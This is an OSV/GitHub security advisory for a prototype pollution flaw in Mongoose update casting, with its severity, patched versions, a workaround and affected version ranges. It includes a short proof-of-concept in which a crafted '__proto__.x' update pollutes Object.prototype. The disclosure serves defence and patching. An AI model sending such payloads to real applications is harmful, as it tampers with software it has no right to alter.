GHSA-664h-wqgq-64gw

Suggest an improvement
Source
https://github.com/advisories/GHSA-664h-wqgq-64gw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-664h-wqgq-64gw/GHSA-664h-wqgq-64gw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-664h-wqgq-64gw
Aliases
Downstream
CLSA (4)
Published
2026-07-24T16:22:34Z
Modified
2026-08-19T09:55:54Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L CVSS Calculator
Summary
Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)
Details

Impact

What kind of vulnerability is it? Who is impacted?

Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like MyModel.updateOne(filter, req.body), can cause Mongoose to set $fullPath and $parentSchemaDocArray on Object.prototype.

Example:

const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath);            // undefined

const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}');   // attacker-controlled update

const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }

console.log('after :', Object.prototype.$fullPath);            // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath'));  // true
console.log('fresh {}:', ({}).$fullPath);                      // "__proto__"

Patches

Has the problem been patched? What versions should users upgrade to?

9.7.2, 8.24.1. 7.8.10, 6.13.10

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Check user-controlled updates for own __proto__ properties before passing to Mongoose

References

Are there any links users can visit to find out more?

Database specific
{
    "cwe_ids":  [
        "CWE-1321"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-07-24T16:22:34Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}
References

Affected packages

npm / mongoose

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
6.13.10

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-664h-wqgq-64gw/GHSA-664h-wqgq-64gw.json"

npm / mongoose

Package

Affected ranges

Type
SEMVER
Events
Introduced
7.0.0
Fixed
7.8.10

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-664h-wqgq-64gw/GHSA-664h-wqgq-64gw.json"

npm / mongoose

Package

Affected ranges

Type
SEMVER
Events
Introduced
8.0.0
Fixed
8.24.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-664h-wqgq-64gw/GHSA-664h-wqgq-64gw.json"

npm / mongoose

Package

Affected ranges

Type
SEMVER
Events
Introduced
9.0.0
Fixed
9.7.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-664h-wqgq-64gw/GHSA-664h-wqgq-64gw.json"